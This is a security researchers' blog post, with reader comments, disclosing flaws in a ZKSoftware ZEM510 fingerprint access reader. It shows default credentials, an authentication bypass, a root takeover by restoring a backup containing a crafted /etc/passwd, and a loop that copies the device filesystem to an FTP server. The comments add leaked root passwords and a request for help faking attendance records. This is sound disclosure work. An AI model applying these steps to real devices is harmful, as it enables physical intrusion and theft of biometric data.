Perverting Embedded Devices - ZKSoftware Fingerprint Reader (Part I)

As you may have noticed from other blog posts, we like to play around with basically any device we can get our hands on. Incidentally, this year we acquired a bio-metric device that we have had the chance to see during some audits we carried out.
Front view of the ZEM510 fingerprint reader.
Normally when a bug is found in embedded devices, they provide access to a network which could be used to pivot or persist in a network. In this case they can provide physical access to a facility, it's normal to see this kind of fingerprint readers providing access control to highly secure areas, such as data centers or entire buildings.
Back view of the ZEM510 fingerprint reader.
On plain sight we can find:
  • a bootloader screen that says << Linux : security for your life >>
  • LCD screen
  • digital fingerprint reader
  • a keypad
  • power supply port
  • RJ45 network port
  • 2 USB ports
  • at the back, there is a little tamper switch that will detect when the device is detached from the wall, and will trigger the alarm mode. 


The specific name of the device is ZK-I01A ID GPRS, also known as ZEM510 and costs approximately U$200. It's made by ZKSoftware, which happens to have a reseller here, in Argentina. It's a bio-metric fingerprint reader that's supposed to provide controlled entrance of personnel and security to facilities.

In their official websites you can find a detailed documentation about it. Downloads and user manual also available.

Between the principal characteristics there are a few to highlight:
  • Communication methods:
    • RS232/485
    • USB Host/client
    • TCP/IP
    • Wiegand
  • Reader: EM Marin125 khz, Protocol: Wiegand 26
  • Power supply: 12v, 1,5A and a 4hs additional battery.
  • Programmable output for a bell.

Looking for a way to communicate!

Serial connection via USB

We tried serial communication via USB, which creates a virtual serial port, using miniterm and screen, synchronizing the recommended baud rates and rebooting the device in order to expect some kind of prompt or output, but nothing came out of it :(

Ethernet connection via UTP Cable

After noticing that the network interface by default sets its IP address to and has an access restriction by IP, we found out that setting our local one to would do the trick.
Once we have connection, an nmap port scan shows this results:
  • TCP 80 : the device is running webserver
  • TCP 23 : a classic telnet server (telnetd from busybox)
  • TCP/UDP 4370 : custom protocol
  • UDP 65535 : custom protocol that will respond to requests to broadcast and is used to find the fingerprint readers in the network

Interesting ports, let's dig up a little more.

Telnet? ZEM510?

Port 23 seems to be a telnet service, we check if it's legitimate:
telnetting device
Trying luck with telnet using default users such as:
Doing a bit of research on the internet we managed to gather several default user:passwords that this vendor normally uses for this kind of devices:
Unfortunately, not a single one of them worked on our device. Additional tools like hydra and medusa were used but also where a no-go.

Web Application Panel

Port 80 was showing a web server so we decided to check it out. A website and a login page for what seems to be a control panel appeared.
Web panel login.
Using a classic, administrator:123456 we got access to the web panel.
Default user credentials working.
Browsing the website and logging the requests led us to determine the web server and the application was handling sessions in a VERY poor way. We could access pages that needed authorization without being authenticated.

The file start.csl includes menu.csl, and this last one gives you access to the rest, so we should try to access it first. We need to destroy our cookie and make sure we are using an empty one to access a restricted area.
Showing session cookie on console.
Showing empty cookie on console on start.csl

And we're in. Let's see the requests in plaintext with ncat so you understand the gravity of the situation.

Accessing /csl/start:
isr@~% ncat zkwebserver 80
GET /csl/start HTTP/1.1
Host: zkwebserver

HTTP/1.0 200 OK
Server: ZK Web Server
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html;
Connection: close

    <META http-equiv=Content-Type content='text/html;'>
    <META http-equiv=Cache-control content=no-cache>
    <META http-equiv=Pragma content=no-cache>
    <LINK href='../css/Secutime.css' type=text/css rel=stylesheet>
    <META content='MSHTML 6.00.2900.3562' name=GENERATOR></HEAD>
    <FRAMESET border=0 frameSpacing=0 rows=37,* frameBorder=NO cols=*>
    <FRAME name=header src='/csl/header' noResize scrolling=no>
    <FRAMESET border=0 frameSpacing=0 rows=* frameBorder=NO cols=180,*>
    <FRAME name=menu src='/csl/menu' noResize scrolling=auto>
    <FRAME name=content src='/csl/desktop'></FRAMESET>
You can see that the web server replied with 200 OK and tried to load in framesets /csl/menu, /csl/desktop and /csl/header without asking for an auth. So far we can't state for sure that calling /csl/menu directly will have the same effect.

Accessing /csl/menu (stripped content for clarity):
isr@~% ncat zkwebserver 80 
GET /csl/menu HTTP/1.1
Host: zkwebserver

HTTP/1.0 200 OK
Server: ZK Web Server
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html;
Connection: close

    javascript:oncwx(); -> Login Off
    /csl/desktop -> Dev Status

    User Report
    /csl/report -> Report 
    /csl/query -> Query
    /form/RealTime -> Monitor

    User Administration
    /csl/dpm -> Department 
    /csl/user -> User 
    /csl/user?action=add -> Add User

    /form/Device?act=5 -> TCP/IP
    /form/Device?act=17 -> WIFI Setting
    /form/Device?act=3 -> Date/Time
    /form/Device?act=7 -> Change Password

    /form/Device?act=11 -> Backup 
    /form/Device?act=14 -> Restore 
    /form/Device?act=12 -> Update 
    /csl/download -> Download

    /form/Device -> Reboot
Response shows menu content loaded completely, and to make it even better you can see how bad they are handling sessions: the 'Login off' option is nothing more than a call to a JavaScript function that takes you to the login page.

If the login page had a destroy session or something alike it would be considered a CSRF, which in this case, supposing that sessions were handled "properly", meant the only "security" administrators had, but no, not even that.

We can conclude either an anonymous user or an administrator have the same privileges on the website, making session handling utterly useless. The only difference would be that the anon user has to access menu directly and the admin can make use of their fantastic "Web 3.0" login.

Web vulnerabilities

Now that we completely control the web interface, we started looking for vulnerabilities that could lead to access to the linux that's running below.
For this post we're leaving web vulnerabilities aside and instead we'll discuss just one major one, you'll see why soon.
Web backup section.
In the backup section we got two options, backup either System data or User Data. Any of those options will download a .dat file

Downloading backup system data example.
Showing downloaded files:
isr@zk% file *
data.dat:   gzip compressed data, max compression, from Unix
device.dat: gzip compressed data, max compression, from Unix
They are both gzipped, let's extract them.

user.dat [Backup user data] :
isr@zk% tar zxf data.dat && ls -R
data.dat  device.dat  mnt/


custattstate.dat  custvoice.dat  data/  dpmidx.dat  extlog.dat  extuser.dat  oplog.dat  sms.dat  udata.dat  user.dat  workcode.dat

extlog.dat  template.dat  transaction.dat
Peeking around we found that most of the files were illegible or empty, and decided to continue with the next gzipped file before going further.

We deleted the entire extracted folder in order to avoid contents to be overwritten in the next extraction.

device.dat [Backup system data] :
isr@zk% tar zxf device.dat && ls -R
data.dat  device.dat  mnt/


A config file is always interesting to see! The file options.cfg contains configuration variables, below some of them categorized for a better understanding:



Device info
OEMVendor=ZKSoftware Inc.

Device configuration

Web Administrator password

It's clear that options.cfg includes lots of sensible configuration information (not only from the web interface, but from the entire device) that you can even pushed back modified with the 'restore backup' option UNAUTHENTICATED.


If you want to head this way, you will also find that the web server has a SOAP API (without authentication, of course) allowing you to retrieve the entire list users (passwords included), the last users that opened the door, and pretty much everything.

Got root? Arbitrary File Injection

At this stage it was clear for us that we should try to re-upload the backup folder with additional files to test the restrictions of the uploader and see what happens.

As we already know, the server that's running behind is a Linux on a MIPS, meaning user's passwords database is /etc/passwd file and probably /etc/shadow. So we generate a passwd file with user root and a known password:

isr@zk% echo "root:knownpassword:0:0:root:/root:/bin/sh" > passwd
Note that we're using the plain representation as an example, md5crypt should be used.

Setting up the passwd file in context:
isr@zk% mkdir etc/ && mv passwd etc/
Compressing again with gzip and uploading our 'backup' via web interface using the same name the file had when it was downloaded (data.dat for example).

Restore data section.
Upload success.
Let's see if it worked, shall we?
ZEM510 shell prompt
Awesome! As you can see the passwd file was successfully overwritten with ours. And now we have root access.

Privacy issues

All these vulnerabilities also raise the question of privacy: are the personal information of the users safe?
From the user's manual the manufacturer claims the following:
  1. All of our fingerprint recognition devices for civil use only collect the characteristic points of fingerprints instead of the fingerprint images, and therefore no privacy issues are involved.
ZKSoftware Statement on collection of fingerprints

Ok, that would be great if it were completely true.

Login ids, as we've seen in pentests before, are always associated with the user's real name and their fingerprint. The vendor states that the fingerprint is stored as a representation of itself, and they are not lying, but also missing an important point on the process.

When a fingerprint is scanned and pushed back to the database, interchangeably if it comes from a new user or an existing one, a temporary fingerprint image is always stored at /mnt/ramdisk/finger.bmp so the device can calculate its characteristics until the next fingerprint replaces it.

An example of a typical image that can be found on the device.
Thumb fingerprint.
Compromising the device and installing a backdoor to retrieve every uploaded fingerprint to later associate them to the corresponded users, will end up on a nice recompilation of information from a facility, don't you think?

Emulation of the device

In order to find more vulnerabilities, we will set up the embedded device, but since there is no firmware available, we are going to extract all the information from a live device.

Dump it all!

To understand more about the structure of the OS we downloaded it entirely.

Busybox command list
The commands were scarce, but making a simple script like the one below, using ftpput, we were able to pull the entire system to our computers. for i in $(find `pwd` -name "*"); do ftpput ftp_server $i $i done
Having everything needed to replicate the environment we just miss a MIPS Virtual Machine to properly emulate the firmware, and this can be achieved quite easily by using QEMU.

With the VM working and with a chroot in place, we were able to run a binary named « main », located in /mnt/mtdblock/main, which is in fact the main binary for the web application and... almost everything. It's also one of the few binaries that run in the server besides telnetd.


When launching main, we found out it was messing with the TTY (that is used as a framebuffer device, for the TFT screen), making it impossible to interact. Same thing happened with network (it reconfigures when starting), but by adding an empty « ifconfig » command in /usr/local/bin, we were able to circumvent this problem.

Additional findings

We also found that the web service and their custom « main » service were vulnerable of buffer overflows and arbitrary file disclosure. These vulnerabilities will be published on Part II, next week

Thanks to @achillean who kindly provided us access to SHODAN maps, we leave you this lovely postcard:

Authors from @infobytesec Team:


Click here for comments
October 1, 2014 at 2:16 PM ×

Excelente laburo!
Instalamos estos equipos y de un dia para el otro ZK Software dejo de publicar las claves del Telnet (soliamos usarlo con un tftp para customizar un poco cada equipo).
Es hora de vulnerar unos cuantos jejeje...

January 13, 2015 at 4:57 AM ×

Hi Sir,

how to extract device.bat under windows.

How do you emulate the device in windows

February 6, 2015 at 9:47 PM ×

@Anton, in some devices you are right, thats the password, but not on the newer versions.

March 17, 2015 at 1:33 PM ×

I just brick my MA300.

Can someone send me /mnt/mtdblock/main or tell me where i can download that file?


March 31, 2015 at 2:00 AM ×


We don't have the file for that specific model, but if it's bricked how do you plan to copy the file?

April 14, 2015 at 7:48 PM ×

The user and the password its only for one model the tru its that exist more then 70 diferent password for this options, then you need to know the comands and also you need ti mtdblock of any device dont lose the time you can ask for that directly to the Factory they give you the updates for free.

April 14, 2015 at 7:51 PM ×

the telnet password are change it and are not the same for all the devices there its more then 1000 diferents if you need a update you can ask for it directly with the Factory or the tecnical support its for free

June 18, 2015 at 4:06 PM ×

Y la parte 2 muchachos??? Esperamos ansiosos.

July 7, 2015 at 2:18 PM ×

Device model t4-c. The device is switched on "Authentication failure" error and gives the device does not turn on. How do I run the device.

July 21, 2015 at 12:48 PM ×

My device is similar to this one so I could successfully try all the steps you decribed except this one : Arbitrary File Injection
That's because you haven't listed the neccessary commands for that procedure. Why is that?
Can anyone be a guiding hand perhaps?

December 15, 2015 at 10:48 AM ×

Guys,I tried same steps but few things are not working could help me This is my backup file

data file

device file

December 15, 2015 at 10:52 AM ×

Hi!Guys,Awesome work, I tried alot but with me this file aren't unzip it.please could you please help me out. This is my file I have already mention in below link:



December 29, 2015 at 10:00 AM ×

How to access the database that store the attendance log? i want to be able to access that database, append my clock in so i don't have to walk to to the device :v

December 29, 2015 at 10:02 AM ×

How to append clock-in/out from the terminal?

February 18, 2016 at 7:25 AM ×

Please how do i change the ip address of the device from, i dont have access to change it from the device.
Thank you

March 8, 2016 at 3:35 AM ×

sir i want to connect zktcho device on data network the issue is that when i connect this device on private IP pool ( its connected and downloaded data, but when i connected on public IP pool (115.186. . ) its connected but don't downloaded data
so please resolve this issue and share with me solution how i can download data

March 8, 2016 at 9:23 AM ×

Wonderful Article.
I was trying to access ZKTeco X628-C
The successful credentials are

April 15, 2016 at 1:11 AM ×

Sorry I am new on linux. what is zk%?

June 13, 2016 at 6:30 AM ×

I have iclock880 device with ZEM600, when i updated completed, then i asked the device to restart its just booting, it can open again the interface can not open again,the software Engineer has try to open it through the telnet the job can not be done. did anybody has an idea or have root password to that

July 21, 2016 at 9:22 AM ×

Hi i have zkteco IN01 when starting then Authentication failure then can not open device how can solv this types of problems plase send my email id

August 11, 2016 at 10:57 AM ×

Hi Guys, I have a E9 clock. Root:solokey did work properly. Thanks! does anyone has the specification of the custom protocol to download the attendandce log? I found some interesting files in the device, but didn't found the check data in any 'human' format...

August 18, 2016 at 10:56 PM ×

Remember that the new ZK devices with plataform ZMM600 and 100 have a licence encripted with the language and the finger print sensor, so now its no posible to control or dofify by telnet all the parameters already change, if you try to modify something and damage the licenses, the device will not start again will keep just loading or show "authentification failure" and its no way to fix it, just burning again the firmware on the corebora and creating a new license, also never change the mac adrees.

August 23, 2016 at 9:38 PM ×

I have ZKTECO device please share default user name and password we device access butt dont have ZKTeco Attendance Management software login access

December 12, 2017 at 1:13 PM ×

Original Password is z1k2t3e4c5h

Post a Comment
Thanks for your comment